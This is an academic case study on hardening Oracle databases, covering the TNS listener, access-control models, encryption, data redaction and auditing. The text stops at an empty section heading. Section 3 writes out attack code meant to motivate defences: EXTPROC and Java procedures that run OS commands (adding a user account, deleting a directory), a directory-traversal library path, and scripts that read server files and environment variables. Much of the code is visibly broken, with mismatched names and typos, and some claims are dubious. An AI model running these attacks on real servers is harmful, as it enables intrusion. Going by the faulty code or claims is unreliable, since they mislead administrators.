DATABASE PRIVATE SECURITY JURISPRUDENCE: A CASE STUDY USING ORACLE

Madhuri N. Gedam and B. B. Meshram

Department of Computer Engineering, VJTI, Mumbai University, India

ABSTRACT

Oracle is one of the largest vendors and the best DBMS solution of Object Relational DBMS in the IT world. Oracle Database is one of the three market-leading database technologies, along with Microsoft SQL Server's Database and IBM's DB2. Hence in this paper, we have tried to answer the million-dollar question "What is user's responsibility to harden the oracle database for its security?" This paper gives practical guidelines for hardening the oracle database, so that attacker will be prevented to get access into the database. The practical lookout for protecting TNS, Accessing Remote Server and Prevention, Accessing Files on Remote Server, Fetching Environment Variables, Privileges and Authorizations, Access Control, writing security policy, Database Encryption, Oracle Data Mask, Standard built in Auditing and Fine Grained Auditing (FGA) is illustrated with SQL syntax and executed with suitable real life examples and its output is tested and verified. This structured method acts as Data Invictus wall for the attacker and protect user's database.

KEYWORDS

Attacks, Authentication, Authorization, Access Control, Multilevel Security, Encryption, Audit, Data redaction , intrusion detection and Database Firewall.

1. INTRODUCTION

Database is the heart of all desktop and web applications. All these applications would fail if databases are hacked or modified. This marks the importance of database security. Attack could mean any action by a person which is a threat to data confidentiality, integrity and availability. If past attacks are surveyed, they can be broadly classified into two categories: "Attacks by Outsiders" and "Attacks by Insiders". Outside attackers include persons who gain illegal access to the database by surpassing the authentication mechanism. These attackers shall make malicious changes in the database or just view sensitive data and shall sniff the data which is "on-the-wire" i.e., data in transit on a network. The inside attackers are the legitimate users who misuse or obtain privilege escalation to access data which they are not supposed to access otherwise. All these attacks are possible due to database vulnerabilities like weak database authentication, poor enforcement of data access permissions, storing or sending password and other valuable data on the network, unpatched database servers and operating systems and the like. To protect data from all such breaches, it is necessary to secure databases. The vulnerabilities still exist in Oracle database. Oracle provides patches to overcome these bugs and vulnerabilities regularly. To secure oracle database latest oracle versions must be used.

Why Oracle case study?

This paper is designed to give the oracle user a firm foundation and the necessary knowledge and skills to set up, maintain and trouble shoot an oracle database for its security. The case study of oracle is considered due to several reasons as illustrated below:

According to The Industrial Development Corporation (IDC) - report, "Oracle continues to be the overall leader in the worldwide relational and object-relational database management systems software market". This supremacy is due to features designed to meet and exceed the requirements of the most demanding environments, including e-business, OLTP, and data warehousing applications. Oracle is the best among all other database management systems due to its various unique features such as Functionality, Portability, online backup and recovery, Speed and Performance, high level security, Reliability with ACID test (atomicity , consistency, isolation, and durability). Due to Oracle 8i, 9i, 'i' in oracle 8i and 9i stands for INTERNET,.10g and 11g, "g" signifies "Grid Computing "and Oracle Database 12c /19c, the "c" stands for "Cloud. Whether Oracle talks about the connection ("Internet"), the combination of servers ("Grid"), or both ("Cloud"), .Oracle Database outperforms SQL Server 2000 on a wide variety of industry and ISV-specific bench. Oracle Database IS one of the three market-leading database technologies, along with Microsoft SQL Server's Database and IBM's DB2.PostgreSQL is for many recognized as the world's most advanced open source database. MySQL is an Oracle-backed open source relational database management system based on SQL. MySQL is an important component of an open source enterprise stack called LAMP.Oracle dominates the database world in part because it runs on dozens of platforms, everything from a Mainframe, Sparc, Mac to Intel. Any NoSQL db CAN NOT become as popular as Oracle in the next decade. MongoDB is the open-source most popular NoSQL database. Oracle database revenue is at least 200 times larger than MongoDB's revenue. Note that 1)informix and ingress do not exist as entities any longer, 2)sybase -- people convert from Sybase to anything else. 3)DB2;the different flavors of DB2 are incompatible with each other (different features and functions). Object oriented database security is well illustrated in [1]. Oracle database includes multimedia objects such as images, audio and video and act as object relational DBMS and can compete with Object oriented databases like O2 AND ORION.

The reminder of this paper is organized as follows. In section 2, we will describe attack on TNS and basic administrative tasks to protect TNS. Section 3 discusses how to access remote data base server and how can it be prevented. Section 4 presents Different access control models used like e ACM, IBAC, CBAC), DAC, MAC, RBAC, ABAC FGAC to guarantee confidentiality and integrity. In section 5, we will present the strategy for to encrypt the data on the wired communication and data/files at rest or disks. Section 6 describes Auditing in Oracle using TRIGGERS and AUDIT command and types of auditing. Section 7 introduce the oracles IDS. Section 8 describes the Oracle's Firewall.

2. ATTACK ON TNS

The TNS listener acts as an interface between the outside world and the Oracle database. Due to this it is vulnerable to many attacks and is the favourite spot of attackers.

Denial-of-service (DoS) attacks on TNS

1) Attacker can stop the listener from remote machine hence making it unavailable for other valid users. For Example *LSNRCTL>stop 169.254.177.210*

This will stop the TNS listener at the IP address 169.254.177.210 without any effort.

2) Attacker can gather the information about the database configuration like version, status, services to do attack on the database [7]. For Example *LSNRCTL>status 169.254.177.210*

Thus, the listener can be exploited in many ways to launch an attack on the remote server since remote listener control is allowed.

How to Protect TNS

The oracle corporation researcher's has provided the Oracle's release of 10g authentication to secure Listener the first "port of call," to limit the access of resources and local host. Oracle provides 2 types of listener control authentication [8][9][36].

(a) Local OS authentication: This option is default in Oracle 10g and higher versions and was absent in versions Oracle 9i and below. The lsnrctl cannot be used to retrieve status since local OS authentication is set at the database server.

```
LSNRCTL>stop HP-PC
Connecting to <DESCRIPTION-<CONNECT_DATA-<SERVICE_NAME-HP-
PC>><ADDRESS*<PROTOCOL*TCP><HOST-172.18.34.228><PORT*1521>>>
TNS-8189: The listener could not authenticate the user
LSNRCTL>
```

(b) Password authentication: Password can be set for the listener if remote control is expected.

```
LSNRCTL> change_password
old password:
New password:
Reenter new password :
Connecting to  <DESCRIPTION =<ADDRESS=<PROTOCOL=IPC>
<KEY=EXTPROC_FOR_XE>>>
Password changed for LISTENER
The command completed successfully
```

```
LSNRCTL> change_password
Password:
The command completed successfully
LSNRCTL>
```

```
LSNRCTL> status HP=PC
Connecting to <DESCRIPTION =<CONNECT_DATA=<SERVICE_NAME=HP-
PC>><ADDRESS*<PROTOCOL*TCP><HOST*172.18.34.220><PORT*1521>>>
TNS=12535: TNS: operation timed out
TNS=12560: TNS: protocol adapter error
TNS=00505: Operation timed out
32-bit Window Error:60:Unknow error
```

(c) Limiting Remote Sources

Administrator can set which nodes can control the listener remotely by explicitly specifying the addresses of the allowed or blocked nodes. This is set by adding the following statement in sqlnet.ora file. To allow or block nodes: tns.invited_nodes=(192.18.90.12, …) and tns.excluded_nodes=(192.18.90.14, …) [7][8][36].

```
SQLNET.AUTHENTICATION_SERVICES =(NTS)
tcp.validnode_checking=YES
tcp.exclude_nodes=(172.18.34.206)
```

Figure 1. Limiting remote sources for listener

3. ACCESSING REMOTE SERVER AND PREVENTION

This section discusses how to access remote data base server and how can it be prevented.

3.1. Executing OS Commands on Remote PC

Two techniques which can be exploited to execute operating system commands on remote machine or server are using Oracle's EXTPROC and Java.

a) Oracle's EXTPROC: The Figure 2 shows the steps to execute remote operating system command using PL/SQL feature of external procedures. First a library of the required dll file is created. Then a procedure is created to call the function system(). "NET MYACCOUNT PASSWORD /ADD" is used to create a new user account and "RMDIR" is used to delete a directory on the remote machine. Thus any system command can be used maliciously by the attacker.

```
SQL> CREATE OR REPLACE LIBRARY exec_shall AS
'c:\window\system32\msvcrt.dll';
Library created.
SQL> CREATE OR REPLACE PROCEDURE oraexec <cmdstring IN CHAR>
2 IS EXTERNAL
3 NAME "system"
4 LIBRARY exec_shell
5 Languege c;
6 /

Procedure created.
SQL> EXEC ORAEXEC<' NET USER MYACCOUNT PASSWORD /ADD'>;
PL/SQL procedure successfully completed.
SQL>  EXTC ORAEXEC<'RMDIR COMPAQ_EXTPROC_DIR'>;
```

Figure 2. EXTPROC example

To prevent such harmful activities [8]:

(1) If you have no stored procedures - Delete extproc.exe from $ORACLE_HOME/bin directory and ExtProc entries from listener.ora file should be removed.

(2) If you have procedures - Separate EXTPROC by creating two listeners: one for the networked database and one for EXTPROC. EXTPROC entries should not be specified in the main listener file. To activate the EXTPROC, configure the listener for EXTPROC for IPC using syntax (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC)). This configuration shall make it unavailable for invocation over the network. Use tcp.validnode_checking and tcp.excluded_node to exclude all networked access to the listener. Restrict what external libraries can be loaded using EXTPROC_DLLS environment variable in listener.ora file as shown below [7][8].

```
#listener.ora
SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PLSExtProc)
      (ORACLE_HOME =C:\oraclexe\app\oracle\product\10.2.0\server)
      (PROGRAM = extproc)
      (ENVS="EXTPROC_DLLS=H:\\oraclexe\\.........\\abc.dll")

    )
)
```

Oracle 11g Release 2(11.2) restrict the location of external libraries to the ORACLE_HOME\bin directory, however a directory traversal attack can be made by attacker: For example: directory traversal attack [48].

```
SQL> CREATE OR REPLACE LIBRARY exec_shell AS
  2
    '$ORACLE_HOME\bin\..\..\..\..\..\..\..\windows\system32\msvcrt.dll
    ';
  3 /
```

In the above example, the path is checked to be in the ORACLE_HOME\bin directory but by using \.. , we change the directory to the previous one and hence specify the exact path of the required dll file relative to the ORACLE_HOME\bin directory [48].

The Running OS commands Using JAVA [9][32]:

```
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACOMOND" AS[9]
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{Runtime.getRuntime().exec(command);}};
/
CREATE OR REPLACE PROCEDURE JAVACOMONDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACOMOND.execCommand (java.lang.String)';
/
exec javacmdproc('cmd.exe /c dir > c:\orajava.txt');
```

The call to the procedure *JAVACOMONDPROC* causes the exec() function to be called and the passed command is executed automatically on the remote machine. This example executes the “dir” command which lists the details of the current directory and output is saved to orajava.txt file.

3.2. Accessing Files on Remote Server

Accessing the database file system can be achieved using PL/SQL or Java. All database-enforced access control can be completely bypassed. The steps and commands to access files on remote system are explained below.

Using PL/SQL: UTL_FILE package enables users to read and write to the file system. Attacker can misuse this functionality to access files maliciously on the remote system [9][15].

```
declare
f_in utl_file.file_type; s_in varchar2(10000);string varchar2(32000);
begin
f_in :=utl_file.fopen('SAMPLEDIR', ' Sample.txt', 'R');
dbms_output.put_line('Contents of the Sample.txt:');
dbms_output.put_line('-------------------------------------');
loop
begin
utl_file.get_line('f_in,s_in);
dbms_output.put_line(s_in);
EXCEPTION
WHEN NO_DATA_FOUND THEN
EXIT;
end;
end loop;
dbms_output.put_line(string);
uti_file.fclose(f_in);
end;
```

The PL/SQL code mentioned above opens a file in read mode and reads contents of the file line by line. Figure 3 shows the result of its execution.

```
SQL> set serveroutput on;
SQL> create or replace directory sampledir as 'H:/DIR';
Directory created.
SQL> @ "F:\readFile.sql";
22  /
Contents of file sample.txt:
------------------------------------------------------------

SAMPLE FILE
hello world
PL/SQL procedure successfully completed.
```

Figure 3. UTL_FILE to access remote file (output)

Using Java: The following java code enables a user to read the contents of the file sample.txt with the privileges of the Oracle user [9][32].

```
set serveroutput on
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS
import java.lang.*;
import java.io.*;
public class JAVAREADFILE
{
public static void read file(String filename) throws IOException
{
FileReader f = new FileReader(filename);
BufferedReader fr = new BufferedReader(f);
String text = fr.readLine();;
while(text != null)
{ System.out.println(text);
text = fr.readLine();
}
fr.close();
}
}
/
CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVAREADFILE.readfile (java.lang.String)';
/
exec dbms_java.set_output(2000);
exec JAVAREADFILEPROC('H:\DIR\sample.txt');
```

These attacks require high level privileges. Thus granting of privileges should be done selectively. The database system should be secured from SQL injection attacks to prevent privilege escalation [7][9].

3.3. Fetching Environment Variables

Oracle 10g introduced a procedure called GET_ENV in the DBMS_SYSTEM package [7][8][9]. This package reveals significant information about remote machine which is used by the attacker.

```
declare
     BUF varchar2(260);
begin
     sys.dbms_system.get_env('ORACLE_HOME', BUF);
     dbms_output.put_line('ORACLE_HOME: '|| BUF);
     sys.dbms_system.get_env('ORACLE_SID', BUF);
     dbms_output.put_line('ORACLE_SID: '|| BUF);
     sys.dbms_system.get_env('COMPUTERNAME', BUF);
     dbms_output.put_line('COMPUTERNAME: '|| BUF);
     sys.dbms_system.get_env('OS', BUF);
     dbms_output.put_line('OS: '|| BUF);
     sys.dbms_system.get_env('TEMP', BUF);
     dbms_output.put_line('TEMP: '|| BUF)
     sys.dbms_system.get_env('WINDIR', BUF);
     dbms_output.put_line('WINDIR: '|| BUF);
     sys.dbms_system.get_env('SYSTEMROOT', BUF);
     dbms_output.put_line('SYSTEMROOT: '|| BUF);
     sys.dbms_system.get_env('PROGRAMFILES', BUF);
     dbms_output.put_line('PROGRAMFILES: '|| BUF);
     sys.dbms_system.get_env('COMSPEC', BUF);
     dbms_output.put_line('COMSPEC: '|| BUF);
     sys.dbms_system.get_env('PROCESSOR_ARCHITECTURE', BUF);
     dbms_output.put_line('PROCESSOR_ARCHITECTURE: '|| BUF);
     sys.dbms_system.get_env('PROCESSOR_IDENTIFIER', BUF);
     dbms_output.put_line('PROCESSOR_IDENTIFIER: '|| BUF);
end;
```

Figure 4 show the result of executing the above PL/SQL code.

```
SQL>  set serveroutput  on
SQL>  @" F:\env .sql"
ORACLE_HOME: H:\oraclexe\app\oracle\product\11.2.0\server
ORACLE_SID: xe
COMPUTERNAME:  COMPAQ
OS : Windows_NT
TEMP: C:\ Windows\TEMP
WINDIR: C:\Windows
SYSTEMROOT : C:\Windows
PROGRAMFILES: C:\Program Files
COMPSPEC: C:\program Files
COMSPEC: C:\Windows\system32\cmd.exe
PROCESSOR_ARCHITECTURE: x86
PROCESSOR_IDENTIFIER: x86 Family 6 Model 14 Stepping 12,GenuineIntel
PL/SQL procedure successfully completed.
```

Figure 5. Fetching Environment variables remotely

All the attacks discussed above (such as, Executing OS Commands on Remote PC, Accessing Files on Remote Server, And Figure 4 - Fetching Environment Variables) can be prevented by properly assigning privileges to users so that any random user may not be able to execute such high profile commands. Also authentication can help to block illegitimate users. And last but not the least, to disable Oracle functionalities which are not used can help to reduce the attack surface. Authentication and authorization is also provided by the oracle database.

Instead of setting the password as clear text, Oracle provides a technique to directly specify the hash form of the password known as Impossible password [8] [10].

```
SQL> create user userA  identified by userApwd account lock;
User created.
SQL> create user userB   identified by values 'password';
User created.

SQL> Select name, password from SYS.user$ where name like 'USER%';
Name                                                    PASSWORD
------------------------------------------------------------------------

USERA                                                AB69F8D7311ECB7C
USERB                                                password

SQL> Connect userA/userApwd
ERROR:
ORA-28000: the account is locked
```

Figure 6. Creating impossible password UserA and its Hash

Oracle recommends not creating the user using OS authentication specifying IDENTIFIED EXTERNALLY as OS authenticated database links can pose a security weakness [8].

4. PRIVILEGES AND AUTHORIZATIONS

An access control mechanism helps to guarantee confidentiality and integrity. Different access control models used are ACM, IBAC, CBAC, DAC, MAC, RBAC, ABAC FGAC and the like [6].

4.1. Access Control Matrix (ACM)

Table 1 listed below shows the example of an access control matrix, where we use R and W for read and write privileges, respectively. It can be seen that salary field of the employee table can be only read by Sam but both read and written by Julie, etc.

Table 1. Access Control Matrix

	Name	Address	Salary
Jeman	RW	RW	R
Julie	R	-	RW

4.2. Identity Based Access Control (IBAC) and Capability Based Access Control (CBAC)

To obtain acceptable performance for authorization operations, the access control matrix is split into its columns and store each column with its corresponding object. These columns are known as access control lists, or ACLs [11]. For example, the ACL corresponding to Salary data in Table 1 is: (Jeman, R), (Julie, RW). This approach is known as capabilities, or C-lists For example, Julie's C-list in Table 1 is: (Name, R), (Address, -), (Salary, RW)

4.3. Discretionary Access Control (DAC)

Discretionary Access Control (DAC) is typically the default access control mechanism for most desktop operating systems. SQL security model implements DAC based on 1) *users*: users of database - *user identity* checked during login process; 2) *actions*: including SELECT, UPDATE, DELETE and INSERT; 3) *objects*: tables (*base relations*), views, and columns (*attributes*) of tables and views. DAC is based on granting and revoking privileges. There are two levels for assigning privileges to use the database system - 1. Account level 2. Relation level i.e Fine grained Access Control-Account Level and Relation Level [1][5][11][25].

There are 2 Types of DAC privileges in Oracle like GRANT command is used to assign a particular privilege to a user, REVOKE command is used to revoke an assigned privilege from any user. There are 2 types of privileges like System privilege i.e. Granted by database admin or other users who have system privileges, Object privilege i.e. granted by owner of object.

Object Privileges	System privileges
Object privileges are ALTER,CONNECT, DELETE,EXECUTE,INSERT, views. SELECT,UPDATE and the like	.System privileges: CREATE/DROP TABLE,CREATE/DROP ANY TABLE, CREATE/DROP ANY VIEW,CREATE/DROP PROCEDURE,EXECUTE ANY PROCEDURE and the like

Table 2 shows how to grant a system privilege or role, with the ADMIN OPTION and how the user with the GRANT ANY ROLE system privilege can grant any role in a database [11][35].

Table 2. Syntax for granting/revoking

Syntax for granting/revoking object privileges is	Syntax for granting/revoking system privileges with ADMIN OPTION.
GRANT {object_privilege | ALL [PRIVILEGES]} [(column [, column]…)] [, {object_privilege | ALL [PRIVILEGES]} [(column [, column]…)] ON {schema_object} TO {user | role | PUBLIC } [, { user | role | PUBLIC }]… [WITH HIERARCHY OPTION] [WITH GRANT OPTION]	GRANT {system_privilege | role | ALL PRIVILEGES } [, { system_privilege | role | ALL PRIVILEGES }]… TO {user | role | PUBLIC } [, { user | role | PUBLIC }]… [IDENTIFIED BY password] [WITH ADMIN OPTION]
REVOKE {{object_privilege | role | ALL PRIVILEGES } [, { object_privilege | role | ALL PRIVILEGES }]… FROM {user | role | PUBLIC } [, { user | role | PUBLIC }]… };	REVOKE {{system_privilege | role | ALL PRIVILEGES } [, { system_privilege | role | ALL PRIVILEGES }]… FROM {user | role | PUBLIC } [, { user | role | PUBLIC }]… };

Example :Granting Object Privileges
`SQL>GRANT INSERT ,DELETE, UPDATE ON SCOTT.DEPERTMENTS TO USERS;`
`Grant Succeeded.`
`SQL>REVOKE DELETE ON SCOTT.DEPARTMENTS FROM USERS;`
`Revoke Succeeded.`
	Example :Granting Systems Privileges
	SQL>GRANT create session,
	TO USERS;

4.4. Mandatory Access Control (MAC)

MAC is NON DAC and is applicable to multilevel relational databases. Mandatory Access Control begins with security labels assigned to all resource objects on the system. These security labels contain two pieces of information - a classification (*TOP SECRET* > *SECRET* > *CONFIDENTIAL* > *UNCLASSIFIED)* and a category (which is essentially an indication of the management level, department or project to which the object is available) [1][11][25]. The authors consider two different models: Bell LaPadula model and Biba's model for the illustration of MAC. The following assumptions are considered in these models:

- Access control policies are fixed → mandatory as per the order as below:
- Objects: Classification level, L(O) :*TOP SECRET* > *SECRET* > *CONFIDENTIAL* > *UNCLASSIFIED*
- Subject: Clearance level, L(S) :*TOP SECRET* > *SECRET* > *CONFIDENTIAL* > *UNCLASSIFIED*
- Comparison way :L(O) *CONFIDENTIAL* < L(S) *SECRET*

Bell LaPadula Model: It is used to guarantee confidentiality of data in multilevel databases. It states 2 rules:

- Simple Security Condition: Subject *S* can read object *O* if and only if $L(O) \leq L(S)$. → no read up. For example : L(O) *CONFIDENTIAL* < L(S) *SECRET:* → no read up
- Property (Star Property): Subject *S* can write object *O* if and only if $L(S) \leq L(O)$. → no write down [11][25]

Biba's Model: It is essentially an integrity version of BLP. To state Biba's model formally, let *I (O)* denote the integrity of object *O* and *I (S)* the integrity of subject *S*. Biba's model is specified by the two statements below [11][35]:

- Write Access Rule: Subject *S* can write object *O* if and only if $I(O) \leq I(S)$. →no write up
- Read Access Rule: Subject *S* can read object *O* if and only if $I(S) \leq I(O)$. →no read down [11].

4.5. Role Based Access Control (RBAC)

Table 2 presents the syntax for granting/revoking object and systems privileges. Authentication and authorization in DBMS is provided by PASSWORD AUTHENTICATION, AUTHORIZATION BY GRANT AND REVOKE [11][25][44].

Use the INDENTIFIED EXTERNALLY clause of the CREATE USER command to specify that a user must be authenticated by the operating system.

CONNECT <user> USING<password>

In init.ora, using OS-AUTHENT-PREFIX=OPS$ gives the flexibility of having a user authenticated by the operating system of the oracle server. In this case, the DBA can create the user by entering the command of the form:

CREATE USER OPS$ user IDENTIFIED BY password ……

DBA can set another initialization parameter, REMOTE_OS_AUTHENT=True to authenticate the user by a remote operating system [1][11][25].

Granting Roles and Privileges To Users: Commonly granted privilege are create session, connect, resource, create table, create view, create sequence, create procedure, create trigger, create synonym [14][15]. By default, only DBA can grant roles or privileges to other users

For example: *GRANT CREATE SESSION TO UserName WITH ADMIN OPTION*;

To give all privileges to a user say JEMAN

SQL> CREATE user JEMAN IDENTIFIED by BRILLIANT
SQL> GRANT connect, resource to JEMAN

Due to this command all privileges are granted to JEMAN by DBA.

4.6. Fine Grained Access Control (FGAC)

The ability to implement row-level security within the database is known as fine-grained access control. An application context is a scratch pad area in memory that you can use to store bit of information that security policies need. The syntax for creating context is as below:

CREATE [OR REPLACE] CONTEXT Context-name USING [schema.] package

Once you have created a context, you can define attribute in that context using the *DBMS_SESSION PACKAGE. For example: DBMS_SESSION.SET_CONTEXT ('context-name','attribute-name',' 'attrtibute.value');*

To control the access, oracle database provided other concepts such as views and indexing.

4.7. Writing Security Policies

The following steps are used to write the security policy [12][14]

1. Write a stored function or a package that conforms to the policy specification.
2. Use the DBMS-RLS.ADD-POLICY procedure to associate the policy function with the tables that you are protecting
3. Policy is written as PL/SQL functions.

FUNCTION function-name(Object-schema IN VARCHAR2 Object-name in VARACHAR2) RETURN VARACHAR2;

Oracle provides the DBMS-RLS.ADD.POLICY procedure to link a policy function with a table. The syntax used is as below [24].

DBMS.RLS.ADD.POLICY (.object_schema' object_name, Policy_name function_schema, Function name, statement types, update-check)

Fine Grained Access Control (FGAC) can be used in Oracle via Views and Virtual Private Database (VPD).

CREATE VIEW ViewName [(newColumnName [,...])]
AS subselect [WITH [CASCADED |LOCAL] CHECK OPTION]

Certain restrictions are placed on view to make security harder. Oracle Virtual Private Database enforces security, to a fine level of granularity, directly on database tables, views, or synonyms.

For example

Create function	configure the policy with the DBMS_RLS.ADD_POLICY procedure

CREATE OR REPLACE FUNCTION hide_marks (
v_schema IN VARCHAR2,
v_objname IN VARCHAR2)
RETURN VARCHAR2 AS
con VARCHAR2 (200);
BEGIN
con := 'deptno=1';
RETURN (con);
END hide_Marks;
/
	BEGIN
	DBMS_RLS.ADD_POLICY (
	object_schema => 'scott',
	object_name => 'Result ',
	policy_name => 'hide_sal_policy',
	policy_function => 'hide_Marks',
	statement_types => 'SELECT',
	sec_relevant_cols => 'Marks'
	enable => TRUE);
	END;
	/

Then "Result" table tuples having dep no t=1 only will be shown as the Marks field has restricted access due to following query. SELECT studentRollNo, Sname, Year , Marks FROM Result ;	

Possible attacks on VPD are - 1. Directly access database files by bypassing access control policies 2.Use SQL injection to DROP policy of VPD which will result in all data being visible.

5. DATABASE ENCRYPTION

Oracle provides the facility to encrypt the data on the wired communication and data/files at rest or disks [45].

5.1. Encrypt Data on-the-wire

To avoid sniffing passwords by Wire shark on the communication wire, PASSWORD command should be used instead of ALTER command for changing passwords. Oracle uses the Oracle Password Protocol known as O3LOGON protocol that uses DES encryption to encrypt passwords and ensure that the password cannot be easily retrieved by an eavesdropper [45].

```
SQL>ALTER USER SCOTT IDENTIFIED BY NEWPWD;
User altered.
ALTER command should not be used for changing the password. You should use
PASSWORD command as below:
SQL> PASSWORD
Changing  password for SCOTT
Old password:
New password:
Retype new password:
Password changed
```

To protect query results from attacker, they should be encrypted using protocols like: IPSec and SSL (Secure Socket Layer).

5.2. Encrypt Data at-rest

Oracle Advanced Security Transparent Data Encryption (TDE) uses AES, 3-DES and SHA for encryption and hashing. [2][12][13][14] [16]

```
//example  encrypted  by  using
    AES192
CREATE TABLE result (
    first_name VARCHAR2(128) ,
   last_name VARCHAR2(128) ,
  studentID NUMBER,
    Marks NUMBER(6), ENCRYPT);
```

```
// example NO SALT AND ENCRYPT USING
'3DES168').
CREATE TABLE result (
  first_name VARCHAR2(128),
 last_name VARCHAR2(128),
 studentID NUMBER ENCRYPT NO SALT,
  Marks  NUMBER(6),  ENCRYPT  USING
    '3DES168' );
```

To encrypt unencrypted columns, use the ALTER TABLE MODIFY command, specifying the unencrypted column with the ENCRYPT clause as:

ALTER TABLE result MODIFY (first_name ENCRYPT);

Oracle provides the facility to disable column encryption for reasons of compatibility or performance [2][12][13][14] [16]. The syntax for use of the ALTER TABLE MODIFY command with the DECRYPT clause is as:

ALTER TABLE result MODIFY (first_name DECRYPT);

5.2. Oracle Data Redaction

Oracle Advanced Security is a licensable option for Oracle Data Redaction [12][13][14] in 11g /12c/ 19c enables user masking of particular data that is returned from application's queries, so that unauthorized users will not be able to view the sensitive data. Oracle user can mask column data by using one of the following methods: Full redaction, Partial redaction, Regular expressions, Random redaction, No redaction [12][13][14][16][17][28]. Some of the methods are explained below. To create a Data Redaction policy, oracle provides DBMS_REDACT.ADD_POLICY procedure. For example, the following policy redacts entire column commission_pct:

```
BEGIN
DBMS_REDACT.ADD_POLICY(
object_schema => 'hr',
object_name => 'employees',
column_name => 'commission_pct',
policy_name => 'redact_com_pct',
function_type => DBMS_REDACT.FULL,
expression => '1=1');
END;
/
```

Since this column is redacted and is of type number, when SELECT query is performed, the output will be 0 for all values of that column [16][17][28].

In partial data redaction, some portion of the data, such as the first five digits of an identification number, are redacted/ masked. For example, you can redact most of a credit card number with asterisks (*), except for the last 4 digits [16][17][28][30].

```
BEGIN
DBMS_REDACT.ADD_POLICY(
object_schema => 'creditCard ',
object_name => 'cust_info',
column_name => 'ssn',
policy_name => 'redact_cust_ssns3',
function_type => DBMS_REDACT.PARTIAL,
function_parameters => DBMS_REDACT.REDACT_US_SSN_F5,
expression => '1=1',
policy_description => 'Partially redacts 1st 5 numbers in SS numbers',
column_description=>'ssn contains numeric Social Security numbers');
END;
/

Query:      SELECT SSN FROM creditCard.cust_info;

      … SSN……

XXX-XX-4320
```

6. AUDITING

Auditing in Oracle can be done by using triggers or by using AUDIT command. The operations to be audited and granularity level of audit is decided by the database administrator or the auditor [37].

6.1. Auditing by using Triggers in Oracle

Triggers can be created to audit the operations like DML statements (insert, update, delete, etc.), DDL statements, System events such as start up, shutdown, and error messages, user events such as logon and logoff performed on database [10][49]. For example to use triggers for auditing update and delete operations on EMPLOYEE table.

```
CREATE TABLE employee_audit
(
Audit_id NUMBER PRIMARY KEY,
Audit_Date_Time DATE,
Update_User VARCHAR2(20)
);
```

```
CREATE TRIGGER auditTrigg_emp
AFTER UPDATE
ON employee
BEGIN
INSERT INTO employee_audit VALUES
(
SEQ_AUDIT.NEXTVAL, --assume SEQ.AUDIT is a sequence to auto increment
    id
SYSDATE,
USER,
);
END;
```

6.2. Standard built in AUDIT command in Oracle

All audit records will be stored in SYS.AUD$ table and can be viewed from The SYS.AUD$ (dba_audit_trail) and dba_fga_audit_trail) commonly referred to as the audit trail. DBA must enable auditing functionality by setting the initialization parameter "audit_trail = true" and run the cataudit.sql scripts (as SYS) [10][34][49].

Now check the impact of following commands

ALTER SYSTEM SET AUDIT_TRAIL=DB SCOPE=SPFILE;
ALTER SYSTEM SET AUDIT_TRAIL=DB_EXTENDED SCOPE=SPFILE;

For example:

```
SQL> ALTER SYSTEM SET AUDIT_TRAIL=DB SCOPE=SPFILE;
SQL> AUDIT ALL ON SCOTT.EMP BY ACCESS;
Audit succeeded.
```

If you perform UPDATE action on EMP table:

```
SQL> UPDATE EMP SET SAL=SAL*0.95 WHERE JOB='MANAGER';
3 rows updated.
```

You will get record in the audit trail as below

```
SQL>SELECT USERNAME, OWNER, OBJ_NAME, ACTION_NAME, SQL_TEXT FROM
    DBA_AUDIT_TRAIL
USERNAME OWNER OBJ_NAME ACTION_NAME SQL_TEXT
---------- ------- ---------- ------------------ -----------
SCOTT EMP UPDATE (null)
```

If however you change the audit trail to DB_EXTENDED and restart the database:

```
SQL> ALTER SYSTEM SET AUDIT_TRAIL='DB_EXTENDED' SCOPE=SPFILE;
System altered.
```

The same activity will produce a record with the text:

```
SQL> SELECT USERNAME, OWNER, OBJ_NAME, ACTION_NAME, SQL_TEXT FROM
    DBA_AUDIT_TRAIL

USERNAME OWNER OBJ_NAME ACTION_NAME SQL_TEXT
---------- -------- ---------- --------------- ----------
SCOTT SCOTT EMP UPDATE UPDATE EMP SET
SAL=SAL*0.95 WHERE JOB='MANAGER'
```

There are three types of auditing: Statement auditing, Privilege auditing, Object auditing. Oracle provides three audit categories as follows [8][33][49]:

(1) Statement audit: DBA_STMT_AUDIT_OPTS view shows which statements are audited. For example, create table, create procedure and all statements are audited using the following commands [49]:

```
SQL> audit create table by scott;
Audit succeeded.
To audit all statements:
SQL> audit all;
Audit succeeded.
To audit a set of statements:
SQL> audit create table, create procedure;
Audit succeeded
```

(2) Object audit: DBA_OBJ_AUDIT_OPTS view shows which statements are audited. For example, actions on emp object of scott schema are audited. For this ON DEFAULT keyword can be used to make the audit default even for future objects [49]:

```
SQL> audit all on scott.emp by access;
Audit succeeded.
SQL> audit insert, update, delete on scott.emp by session;
Audit succeeded.
SQL> audit all ON DEFAULT by access;
Audit succeeded.
```

(3) Privilege audit: DBA_PRIV_AUDIT_OPTS view shows which statements are audited. For example, here CREATE ANY TABLE privilege is audited and ALL PRIVELEGES are audited when performed by user scott or by any user created [49]:

```
SQL> audit create any table by scott by access;
Audit succeeded.
SQL> audit all privileges by scott by access;
Audit succeeded.
```

6.3. Fine Grained Auditing (FGA)

Fine-grained auditing records are stored in the SYS.FGA_LOG$ table. To find the records have been generated for the audit policies that are in effect, you can query the DBA_FGA_AUDIT_TRAIL view [2][12][15]. The DBA_COMMON_AUDIT_TRAIL view combines both standard and fine-grained audit log records. To create a fine-grained audit policy, use the DBMS_FGA.ADD_POLICY procedure [2][12].

Consider an example where emp table in scott schema is to be audited for operations performed on sal column for deptno=20 only. So we enable the fine grained auditing by add the policy as follows:

```
BEGIN
DBMS_FGA.ADD_POLICY
(
object_schema => 'scott',
object_name => 'emp',
policy_name => 'chk_scott_emp',
audit_condition => 'deptno=20',
audit_column => 'sal',
statement_types => 'insert,update,delete,select'
);
END;
/
```

Thus only the operations satisfying these conditions will be audited, other will not audited. This can be seen from the view DBA_FGA_AUDIT_TRAIL.

7. DATABASE INTRUSION DETECTION

